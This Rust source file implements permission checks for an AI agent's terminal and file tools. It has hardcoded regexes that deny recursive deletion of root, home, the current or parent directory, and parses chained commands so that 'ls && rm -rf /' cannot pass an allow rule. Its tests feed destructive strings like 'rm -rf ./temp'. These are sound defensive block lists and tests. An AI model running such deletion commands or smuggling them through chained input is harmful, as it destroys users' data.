tool_permissions.rs

   1use crate::AgentTool;
   2use crate::tools::TerminalTool;
   3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   4use settings::ToolPermissionMode;
   5use shell_command_parser::extract_commands;
   6use std::path::{Component, Path};
   7use std::sync::LazyLock;
   8use util::shell::ShellKind;
   9
  10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  11     harmful to be allowed, and cannot be overridden by settings.";
  12
  13/// Security rules that are always enforced and cannot be overridden by any setting.
  14/// These protect against catastrophic operations like wiping filesystems.
  15pub struct HardcodedSecurityRules {
  16    pub terminal_deny: Vec<CompiledRegex>,
  17}
  18
  19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  20    // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
  21    // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
  22    const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
  23    // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
  24    const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
  25
  26    HardcodedSecurityRules {
  27        terminal_deny: vec![
  28            // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
  29            CompiledRegex::new(
  30                &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
  31                false,
  32            )
  33            .expect("hardcoded regex should compile"),
  34            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
  35            CompiledRegex::new(
  36                &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
  37                false,
  38            )
  39            .expect("hardcoded regex should compile"),
  40            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
  41            CompiledRegex::new(
  42                &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
  43                false,
  44            )
  45            .expect("hardcoded regex should compile"),
  46            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
  47            CompiledRegex::new(
  48                &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
  49                false,
  50            )
  51            .expect("hardcoded regex should compile"),
  52            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
  53            CompiledRegex::new(
  54                &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
  55                false,
  56            )
  57            .expect("hardcoded regex should compile"),
  58        ],
  59    }
  60});
  61
  62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  63/// Returns a Deny decision if blocked, None otherwise.
  64fn check_hardcoded_security_rules(
  65    tool_name: &str,
  66    inputs: &[String],
  67    shell_kind: ShellKind,
  68) -> Option<ToolPermissionDecision> {
  69    // Currently only terminal tool has hardcoded rules
  70    if tool_name != TerminalTool::NAME {
  71        return None;
  72    }
  73
  74    let rules = &*HARDCODED_SECURITY_RULES;
  75    let terminal_patterns = &rules.terminal_deny;
  76
  77    for input in inputs {
  78        // First: check the original input as-is (and its path-normalized form)
  79        if matches_hardcoded_patterns(input, terminal_patterns) {
  80            return Some(ToolPermissionDecision::Deny(
  81                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  82            ));
  83        }
  84
  85        // Second: parse and check individual sub-commands (for chained commands)
  86        if shell_kind.supports_posix_chaining() {
  87            if let Some(commands) = extract_commands(input) {
  88                for command in &commands {
  89                    if matches_hardcoded_patterns(command, terminal_patterns) {
  90                        return Some(ToolPermissionDecision::Deny(
  91                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  92                        ));
  93                    }
  94                }
  95            }
  96        }
  97    }
  98
  99    None
 100}
 101
 102/// Checks a single command against hardcoded patterns, both as-is and with
 103/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
 104/// and multi-path bypasses like `rm -rf /tmp /`).
 105fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
 106    for pattern in patterns {
 107        if pattern.is_match(command) {
 108            return true;
 109        }
 110    }
 111
 112    for expanded in expand_rm_to_single_path_commands(command) {
 113        for pattern in patterns {
 114            if pattern.is_match(&expanded) {
 115                return true;
 116            }
 117        }
 118    }
 119
 120    false
 121}
 122
 123/// For rm commands, expands multi-path arguments into individual single-path
 124/// commands with normalized paths. This catches both traversal bypasses like
 125/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
 126fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
 127    let trimmed = command.trim();
 128
 129    let first_token = trimmed.split_whitespace().next();
 130    if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
 131        return vec![];
 132    }
 133
 134    let parts: Vec<&str> = trimmed.split_whitespace().collect();
 135    let mut flags = Vec::new();
 136    let mut paths = Vec::new();
 137    let mut past_double_dash = false;
 138
 139    for part in parts.iter().skip(1) {
 140        if !past_double_dash && *part == "--" {
 141            past_double_dash = true;
 142            flags.push(*part);
 143            continue;
 144        }
 145        if !past_double_dash && part.starts_with('-') {
 146            flags.push(*part);
 147        } else {
 148            paths.push(*part);
 149        }
 150    }
 151
 152    let flags_str = if flags.is_empty() {
 153        String::new()
 154    } else {
 155        format!("{} ", flags.join(" "))
 156    };
 157
 158    let mut results = Vec::new();
 159    for path in &paths {
 160        if path.starts_with('$') {
 161            let home_prefix = if path.starts_with("${HOME}") {
 162                Some("${HOME}")
 163            } else if path.starts_with("$HOME") {
 164                Some("$HOME")
 165            } else {
 166                None
 167            };
 168
 169            if let Some(prefix) = home_prefix {
 170                let suffix = &path[prefix.len()..];
 171                if suffix.is_empty() {
 172                    results.push(format!("rm {flags_str}{path}"));
 173                } else if suffix.starts_with('/') {
 174                    let normalized_suffix = normalize_path(suffix);
 175                    let reconstructed = if normalized_suffix == "/" {
 176                        prefix.to_string()
 177                    } else {
 178                        format!("{prefix}{normalized_suffix}")
 179                    };
 180                    results.push(format!("rm {flags_str}{reconstructed}"));
 181                } else {
 182                    results.push(format!("rm {flags_str}{path}"));
 183                }
 184            } else {
 185                results.push(format!("rm {flags_str}{path}"));
 186            }
 187            continue;
 188        }
 189
 190        let mut normalized = normalize_path(path);
 191        if normalized.is_empty() && !Path::new(path).has_root() {
 192            normalized = ".".to_string();
 193        }
 194
 195        results.push(format!("rm {flags_str}{normalized}"));
 196    }
 197
 198    results
 199}
 200
 201#[derive(Debug, Clone, PartialEq, Eq)]
 202pub enum ToolPermissionDecision {
 203    Allow,
 204    Deny(String),
 205    Confirm,
 206}
 207
 208impl ToolPermissionDecision {
 209    /// Determines the permission decision for a tool invocation based on configured rules.
 210    ///
 211    /// # Precedence Order (highest to lowest)
 212    ///
 213    /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
 214    ///    that cannot be bypassed by any user settings.
 215    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
 216    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 217    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 218    ///    the user is prompted for confirmation.
 219    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 220    ///    the tool call proceeds without prompting.
 221    /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
 222    ///    `default` configured, that mode is used.
 223    /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
 224    ///    tool-specific default is set, or when the tool has no entry at all.
 225    ///
 226    /// # Shell Compatibility (Terminal Tool Only)
 227    ///
 228    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 229    /// All currently supported `ShellKind` variants are treated as compatible because
 230    /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
 231    /// variant is added that brush-parser cannot safely parse, it should be excluded
 232    /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
 233    /// patterns to be disabled for that shell.
 234    ///
 235    /// # Pattern Matching Tips
 236    ///
 237    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 238    /// string for the terminal tool). Some tips for writing effective patterns:
 239    ///
 240    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 241    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 242    ///   This is important for security rules where you want to block specific commands
 243    ///   without accidentally blocking unrelated commands that happen to contain the same
 244    ///   substring.
 245    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 246    /// - Use `^` and `$` anchors to match the start/end of the input.
 247    pub fn from_input(
 248        tool_name: &str,
 249        inputs: &[String],
 250        permissions: &ToolPermissions,
 251        shell_kind: ShellKind,
 252    ) -> ToolPermissionDecision {
 253        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 254        // These cannot be bypassed by any user settings.
 255        if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
 256            return denial;
 257        }
 258
 259        let rules = match permissions.tools.get(tool_name) {
 260            Some(rules) => rules,
 261            None => {
 262                // No tool-specific rules, use the global default
 263                return match permissions.default {
 264                    ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 265                    ToolPermissionMode::Deny => {
 266                        ToolPermissionDecision::Deny("Blocked by global default: deny".into())
 267                    }
 268                    ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 269                };
 270            }
 271        };
 272
 273        // Check for invalid regex patterns before evaluating rules.
 274        // If any patterns failed to compile, block the tool call entirely.
 275        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 276            return ToolPermissionDecision::Deny(error);
 277        }
 278
 279        // For the terminal tool, parse each input command to extract all sub-commands.
 280        // This prevents shell injection attacks where a user configures an allow
 281        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 282        //
 283        // If parsing fails or the shell syntax is unsupported, always_allow is
 284        // disabled for this command (we set allow_enabled to false to signal this).
 285        if tool_name == TerminalTool::NAME {
 286            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 287            // See the doc comment above for the list of compatible/incompatible shells.
 288            if !shell_kind.supports_posix_chaining() {
 289                // For shells with incompatible syntax, we can't reliably parse
 290                // the command to extract sub-commands.
 291                if !rules.always_allow.is_empty() {
 292                    // If the user has configured always_allow patterns, we must deny
 293                    // because we can't safely verify the command doesn't contain
 294                    // hidden sub-commands that bypass the allow patterns.
 295                    return ToolPermissionDecision::Deny(format!(
 296                        "The {} shell does not support \"always allow\" patterns for the terminal \
 297                         tool because Zed cannot parse its command chaining syntax. Please remove \
 298                         the always_allow patterns from your tool_permissions settings, or switch \
 299                         to a POSIX-conforming shell.",
 300                        shell_kind
 301                    ));
 302                }
 303                // No always_allow rules, so we can still check deny/confirm patterns.
 304                return check_commands(
 305                    inputs.iter().map(|s| s.to_string()),
 306                    rules,
 307                    tool_name,
 308                    false,
 309                    permissions.default,
 310                );
 311            }
 312
 313            // Expand each input into its sub-commands and check them all together.
 314            let mut all_commands = Vec::new();
 315            let mut any_parse_failed = false;
 316            for input in inputs {
 317                match extract_commands(input) {
 318                    Some(commands) => all_commands.extend(commands),
 319                    None => {
 320                        any_parse_failed = true;
 321                        all_commands.push(input.to_string());
 322                    }
 323                }
 324            }
 325            // If any command failed to parse, disable allow patterns for safety.
 326            check_commands(
 327                all_commands,
 328                rules,
 329                tool_name,
 330                !any_parse_failed,
 331                permissions.default,
 332            )
 333        } else {
 334            check_commands(
 335                inputs.iter().map(|s| s.to_string()),
 336                rules,
 337                tool_name,
 338                true,
 339                permissions.default,
 340            )
 341        }
 342    }
 343}
 344
 345/// Evaluates permission rules against a set of commands.
 346///
 347/// This function performs a single pass through all commands with the following logic:
 348/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 349/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 350/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 351///
 352/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 353/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 354/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 355fn check_commands(
 356    commands: impl IntoIterator<Item = String>,
 357    rules: &ToolRules,
 358    tool_name: &str,
 359    allow_enabled: bool,
 360    global_default: ToolPermissionMode,
 361) -> ToolPermissionDecision {
 362    // Single pass through all commands:
 363    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 364    // - CONFIRM: Track if ANY command matches a confirm pattern
 365    // - ALLOW: Track if ALL commands match at least one allow pattern
 366    let mut any_matched_confirm = false;
 367    let mut all_matched_allow = true;
 368    let mut had_any_commands = false;
 369
 370    for command in commands {
 371        had_any_commands = true;
 372
 373        // DENY: immediate return if any command matches a deny pattern
 374        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 375            return ToolPermissionDecision::Deny(format!(
 376                "Command blocked by security rule for {} tool",
 377                tool_name
 378            ));
 379        }
 380
 381        // CONFIRM: remember if any command matches a confirm pattern
 382        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 383            any_matched_confirm = true;
 384        }
 385
 386        // ALLOW: track if all commands match at least one allow pattern
 387        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 388            all_matched_allow = false;
 389        }
 390    }
 391
 392    // After processing all commands, check accumulated state
 393    if any_matched_confirm {
 394        return ToolPermissionDecision::Confirm;
 395    }
 396
 397    if allow_enabled && all_matched_allow && had_any_commands {
 398        return ToolPermissionDecision::Allow;
 399    }
 400
 401    match rules.default.unwrap_or(global_default) {
 402        ToolPermissionMode::Deny => {
 403            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 404        }
 405        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 406        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 407    }
 408}
 409
 410/// Checks if the tool rules contain any invalid regex patterns.
 411/// Returns an error message if invalid patterns are found.
 412fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 413    if rules.invalid_patterns.is_empty() {
 414        return None;
 415    }
 416
 417    let count = rules.invalid_patterns.len();
 418    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 419
 420    Some(format!(
 421        "The {} tool cannot run because {} regex {} failed to compile. \
 422         Please fix the invalid patterns in your tool_permissions settings.",
 423        tool_name, count, pattern_word
 424    ))
 425}
 426
 427/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 428///
 429/// This is the primary entry point for tools to check permissions. It extracts
 430/// `tool_permissions` from the settings and
 431/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 432pub fn decide_permission_from_settings(
 433    tool_name: &str,
 434    inputs: &[String],
 435    settings: &AgentSettings,
 436) -> ToolPermissionDecision {
 437    ToolPermissionDecision::from_input(
 438        tool_name,
 439        inputs,
 440        &settings.tool_permissions,
 441        ShellKind::system(),
 442    )
 443}
 444
 445/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
 446pub fn normalize_path(raw: &str) -> String {
 447    let is_absolute = Path::new(raw).has_root();
 448    let mut components: Vec<&str> = Vec::new();
 449    for component in Path::new(raw).components() {
 450        match component {
 451            Component::CurDir => {}
 452            Component::ParentDir => {
 453                if components.last() == Some(&"..") {
 454                    components.push("..");
 455                } else if !components.is_empty() {
 456                    components.pop();
 457                } else if !is_absolute {
 458                    components.push("..");
 459                }
 460            }
 461            Component::Normal(segment) => {
 462                if let Some(s) = segment.to_str() {
 463                    components.push(s);
 464                }
 465            }
 466            Component::RootDir | Component::Prefix(_) => {}
 467        }
 468    }
 469    let joined = components.join("/");
 470    if is_absolute {
 471        format!("/{joined}")
 472    } else {
 473        joined
 474    }
 475}
 476
 477/// Decides permission by checking both the raw input path and a simplified/canonicalized
 478/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
 479pub fn decide_permission_for_paths(
 480    tool_name: &str,
 481    raw_paths: &[String],
 482    settings: &AgentSettings,
 483) -> ToolPermissionDecision {
 484    let raw_inputs: Vec<String> = raw_paths.to_vec();
 485    let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
 486
 487    let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
 488    let any_changed = raw_paths
 489        .iter()
 490        .zip(&normalized)
 491        .any(|(raw, norm)| raw != norm);
 492    if !any_changed {
 493        return raw_decision;
 494    }
 495
 496    let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
 497
 498    most_restrictive(raw_decision, normalized_decision)
 499}
 500
 501pub fn decide_permission_for_path(
 502    tool_name: &str,
 503    raw_path: &str,
 504    settings: &AgentSettings,
 505) -> ToolPermissionDecision {
 506    decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
 507}
 508
 509pub fn most_restrictive(
 510    a: ToolPermissionDecision,
 511    b: ToolPermissionDecision,
 512) -> ToolPermissionDecision {
 513    match (&a, &b) {
 514        (ToolPermissionDecision::Deny(_), _) => a,
 515        (_, ToolPermissionDecision::Deny(_)) => b,
 516        (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
 517            ToolPermissionDecision::Confirm
 518        }
 519        _ => a,
 520    }
 521}
 522
 523#[cfg(test)]
 524mod tests {
 525    use super::*;
 526    use crate::AgentTool;
 527    use crate::pattern_extraction::extract_terminal_pattern;
 528    use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
 529    use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
 530    use gpui::px;
 531    use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
 532    use std::sync::Arc;
 533
 534    fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
 535        AgentSettings {
 536            enabled: true,
 537            button: true,
 538            dock: DockPosition::Right,
 539            default_width: px(300.),
 540            default_height: px(600.),
 541            default_model: None,
 542            inline_assistant_model: None,
 543            inline_assistant_use_streaming_tools: false,
 544            commit_message_model: None,
 545            thread_summary_model: None,
 546            inline_alternatives: vec![],
 547            favorite_models: vec![],
 548            default_profile: AgentProfileId::default(),
 549            default_view: DefaultAgentView::Thread,
 550            profiles: Default::default(),
 551            notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
 552            play_sound_when_agent_done: false,
 553            single_file_review: false,
 554            model_parameters: vec![],
 555            enable_feedback: false,
 556            expand_edit_card: true,
 557            expand_terminal_card: true,
 558            cancel_generation_on_terminal_stop: true,
 559            use_modifier_to_send: true,
 560            message_editor_min_lines: 1,
 561            tool_permissions,
 562            show_turn_stats: false,
 563        }
 564    }
 565
 566    fn pattern(command: &str) -> &'static str {
 567        Box::leak(
 568            extract_terminal_pattern(command)
 569                .expect("failed to extract pattern")
 570                .into_boxed_str(),
 571        )
 572    }
 573
 574    struct PermTest {
 575        tool: &'static str,
 576        input: &'static str,
 577        mode: Option<ToolPermissionMode>,
 578        allow: Vec<(&'static str, bool)>,
 579        deny: Vec<(&'static str, bool)>,
 580        confirm: Vec<(&'static str, bool)>,
 581        global_default: ToolPermissionMode,
 582        shell: ShellKind,
 583    }
 584
 585    impl PermTest {
 586        fn new(input: &'static str) -> Self {
 587            Self {
 588                tool: TerminalTool::NAME,
 589                input,
 590                mode: None,
 591                allow: vec![],
 592                deny: vec![],
 593                confirm: vec![],
 594                global_default: ToolPermissionMode::Confirm,
 595                shell: ShellKind::Posix,
 596            }
 597        }
 598
 599        fn tool(mut self, t: &'static str) -> Self {
 600            self.tool = t;
 601            self
 602        }
 603        fn mode(mut self, m: ToolPermissionMode) -> Self {
 604            self.mode = Some(m);
 605            self
 606        }
 607        fn allow(mut self, p: &[&'static str]) -> Self {
 608            self.allow = p.iter().map(|s| (*s, false)).collect();
 609            self
 610        }
 611        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 612            self.allow = p.iter().map(|s| (*s, true)).collect();
 613            self
 614        }
 615        fn deny(mut self, p: &[&'static str]) -> Self {
 616            self.deny = p.iter().map(|s| (*s, false)).collect();
 617            self
 618        }
 619        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 620            self.deny = p.iter().map(|s| (*s, true)).collect();
 621            self
 622        }
 623        fn confirm(mut self, p: &[&'static str]) -> Self {
 624            self.confirm = p.iter().map(|s| (*s, false)).collect();
 625            self
 626        }
 627        fn global_default(mut self, m: ToolPermissionMode) -> Self {
 628            self.global_default = m;
 629            self
 630        }
 631        fn shell(mut self, s: ShellKind) -> Self {
 632            self.shell = s;
 633            self
 634        }
 635
 636        fn is_allow(self) {
 637            assert_eq!(
 638                self.run(),
 639                ToolPermissionDecision::Allow,
 640                "expected Allow for '{}'",
 641                self.input
 642            );
 643        }
 644        fn is_deny(self) {
 645            assert!(
 646                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 647                "expected Deny for '{}'",
 648                self.input
 649            );
 650        }
 651        fn is_confirm(self) {
 652            assert_eq!(
 653                self.run(),
 654                ToolPermissionDecision::Confirm,
 655                "expected Confirm for '{}'",
 656                self.input
 657            );
 658        }
 659
 660        fn run(&self) -> ToolPermissionDecision {
 661            let mut tools = collections::HashMap::default();
 662            tools.insert(
 663                Arc::from(self.tool),
 664                ToolRules {
 665                    default: self.mode,
 666                    always_allow: self
 667                        .allow
 668                        .iter()
 669                        .map(|(p, cs)| {
 670                            CompiledRegex::new(p, *cs)
 671                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 672                        })
 673                        .collect(),
 674                    always_deny: self
 675                        .deny
 676                        .iter()
 677                        .map(|(p, cs)| {
 678                            CompiledRegex::new(p, *cs)
 679                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 680                        })
 681                        .collect(),
 682                    always_confirm: self
 683                        .confirm
 684                        .iter()
 685                        .map(|(p, cs)| {
 686                            CompiledRegex::new(p, *cs)
 687                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 688                        })
 689                        .collect(),
 690                    invalid_patterns: vec![],
 691                },
 692            );
 693            ToolPermissionDecision::from_input(
 694                self.tool,
 695                &[self.input.to_string()],
 696                &ToolPermissions {
 697                    default: self.global_default,
 698                    tools,
 699                },
 700                self.shell,
 701            )
 702        }
 703    }
 704
 705    fn t(input: &'static str) -> PermTest {
 706        PermTest::new(input)
 707    }
 708
 709    fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
 710        ToolPermissionDecision::from_input(
 711            TerminalTool::NAME,
 712            &[input.to_string()],
 713            &ToolPermissions {
 714                default: global_default,
 715                tools: collections::HashMap::default(),
 716            },
 717            ShellKind::Posix,
 718        )
 719    }
 720
 721    // allow pattern matches
 722    #[test]
 723    fn allow_exact_match() {
 724        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 725    }
 726    #[test]
 727    fn allow_one_of_many_patterns() {
 728        t("npm install")
 729            .allow(&[pattern("cargo"), pattern("npm")])
 730            .is_allow();
 731        t("git status")
 732            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 733            .is_allow();
 734    }
 735    #[test]
 736    fn allow_middle_pattern() {
 737        t("run cargo now").allow(&["cargo"]).is_allow();
 738    }
 739    #[test]
 740    fn allow_anchor_prevents_middle() {
 741        t("run cargo now").allow(&["^cargo"]).is_confirm();
 742    }
 743
 744    // allow pattern doesn't match -> falls through
 745    #[test]
 746    fn allow_no_match_confirms() {
 747        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 748    }
 749    #[test]
 750    fn allow_no_match_global_allows() {
 751        t("python x.py")
 752            .allow(&[pattern("cargo")])
 753            .global_default(ToolPermissionMode::Allow)
 754            .is_allow();
 755    }
 756    #[test]
 757    fn allow_no_match_tool_confirm_overrides_global_allow() {
 758        t("python x.py")
 759            .allow(&[pattern("cargo")])
 760            .mode(ToolPermissionMode::Confirm)
 761            .global_default(ToolPermissionMode::Allow)
 762            .is_confirm();
 763    }
 764    #[test]
 765    fn allow_no_match_tool_allow_overrides_global_confirm() {
 766        t("python x.py")
 767            .allow(&[pattern("cargo")])
 768            .mode(ToolPermissionMode::Allow)
 769            .global_default(ToolPermissionMode::Confirm)
 770            .is_allow();
 771    }
 772
 773    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 774    #[test]
 775    fn deny_blocks() {
 776        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 777    }
 778    // global default: allow does NOT bypass user-configured deny rules
 779    #[test]
 780    fn deny_not_bypassed_by_global_default_allow() {
 781        t("rm -rf ./temp")
 782            .deny(&["rm\\s+-rf"])
 783            .global_default(ToolPermissionMode::Allow)
 784            .is_deny();
 785    }
 786    #[test]
 787    fn deny_blocks_with_mode_allow() {
 788        t("rm -rf ./temp")
 789            .deny(&["rm\\s+-rf"])
 790            .mode(ToolPermissionMode::Allow)
 791            .is_deny();
 792    }
 793    #[test]
 794    fn deny_middle_match() {
 795        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 796    }
 797    #[test]
 798    fn deny_no_match_falls_through() {
 799        t("ls -la")
 800            .deny(&["rm\\s+-rf"])
 801            .mode(ToolPermissionMode::Allow)
 802            .is_allow();
 803    }
 804
 805    // confirm pattern matches
 806    #[test]
 807    fn confirm_requires_confirm() {
 808        t("sudo apt install")
 809            .confirm(&[pattern("sudo")])
 810            .is_confirm();
 811    }
 812    // global default: allow does NOT bypass user-configured confirm rules
 813    #[test]
 814    fn global_default_allow_does_not_override_confirm_pattern() {
 815        t("sudo reboot")
 816            .confirm(&[pattern("sudo")])
 817            .global_default(ToolPermissionMode::Allow)
 818            .is_confirm();
 819    }
 820    #[test]
 821    fn confirm_overrides_mode_allow() {
 822        t("sudo x")
 823            .confirm(&["sudo"])
 824            .mode(ToolPermissionMode::Allow)
 825            .is_confirm();
 826    }
 827
 828    // confirm beats allow
 829    #[test]
 830    fn confirm_beats_allow() {
 831        t("git push --force")
 832            .allow(&[pattern("git")])
 833            .confirm(&["--force"])
 834            .is_confirm();
 835    }
 836    #[test]
 837    fn confirm_beats_allow_overlap() {
 838        t("deploy prod")
 839            .allow(&["deploy"])
 840            .confirm(&["prod"])
 841            .is_confirm();
 842    }
 843    #[test]
 844    fn allow_when_confirm_no_match() {
 845        t("git status")
 846            .allow(&[pattern("git")])
 847            .confirm(&["--force"])
 848            .is_allow();
 849    }
 850
 851    // deny beats allow
 852    #[test]
 853    fn deny_beats_allow() {
 854        t("rm -rf ./tmp/x")
 855            .allow(&["/tmp/"])
 856            .deny(&["rm\\s+-rf"])
 857            .is_deny();
 858    }
 859
 860    #[test]
 861    fn deny_beats_confirm() {
 862        t("sudo rm -rf ./temp")
 863            .confirm(&["sudo"])
 864            .deny(&["rm\\s+-rf"])
 865            .is_deny();
 866    }
 867
 868    // deny beats everything
 869    #[test]
 870    fn deny_beats_all() {
 871        t("bad cmd")
 872            .allow(&["cmd"])
 873            .confirm(&["cmd"])
 874            .deny(&["bad"])
 875            .is_deny();
 876    }
 877
 878    // no patterns -> default
 879    #[test]
 880    fn default_confirm() {
 881        t("python x.py")
 882            .mode(ToolPermissionMode::Confirm)
 883            .is_confirm();
 884    }
 885    #[test]
 886    fn default_allow() {
 887        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 888    }
 889    #[test]
 890    fn default_deny() {
 891        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 892    }
 893    // Tool-specific default takes precedence over global default
 894    #[test]
 895    fn tool_default_deny_overrides_global_allow() {
 896        t("python x.py")
 897            .mode(ToolPermissionMode::Deny)
 898            .global_default(ToolPermissionMode::Allow)
 899            .is_deny();
 900    }
 901
 902    // Tool-specific default takes precedence over global default
 903    #[test]
 904    fn tool_default_confirm_overrides_global_allow() {
 905        t("x")
 906            .mode(ToolPermissionMode::Confirm)
 907            .global_default(ToolPermissionMode::Allow)
 908            .is_confirm();
 909    }
 910
 911    #[test]
 912    fn no_rules_uses_global_default() {
 913        assert_eq!(
 914            no_rules("x", ToolPermissionMode::Confirm),
 915            ToolPermissionDecision::Confirm
 916        );
 917        assert_eq!(
 918            no_rules("x", ToolPermissionMode::Allow),
 919            ToolPermissionDecision::Allow
 920        );
 921        assert!(matches!(
 922            no_rules("x", ToolPermissionMode::Deny),
 923            ToolPermissionDecision::Deny(_)
 924        ));
 925    }
 926
 927    #[test]
 928    fn empty_input_no_match() {
 929        t("")
 930            .deny(&["rm"])
 931            .mode(ToolPermissionMode::Allow)
 932            .is_allow();
 933    }
 934
 935    #[test]
 936    fn empty_input_with_allow_falls_to_default() {
 937        t("").allow(&["^ls"]).is_confirm();
 938    }
 939
 940    #[test]
 941    fn multi_deny_any_match() {
 942        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 943        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 944    }
 945
 946    #[test]
 947    fn multi_allow_any_match() {
 948        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 949    }
 950    #[test]
 951    fn multi_none_match() {
 952        t("python x")
 953            .allow(&["^cargo", "^npm"])
 954            .deny(&["rm"])
 955            .is_confirm();
 956    }
 957
 958    // tool isolation
 959    #[test]
 960    fn other_tool_not_affected() {
 961        let mut tools = collections::HashMap::default();
 962        tools.insert(
 963            Arc::from(TerminalTool::NAME),
 964            ToolRules {
 965                default: Some(ToolPermissionMode::Deny),
 966                always_allow: vec![],
 967                always_deny: vec![],
 968                always_confirm: vec![],
 969                invalid_patterns: vec![],
 970            },
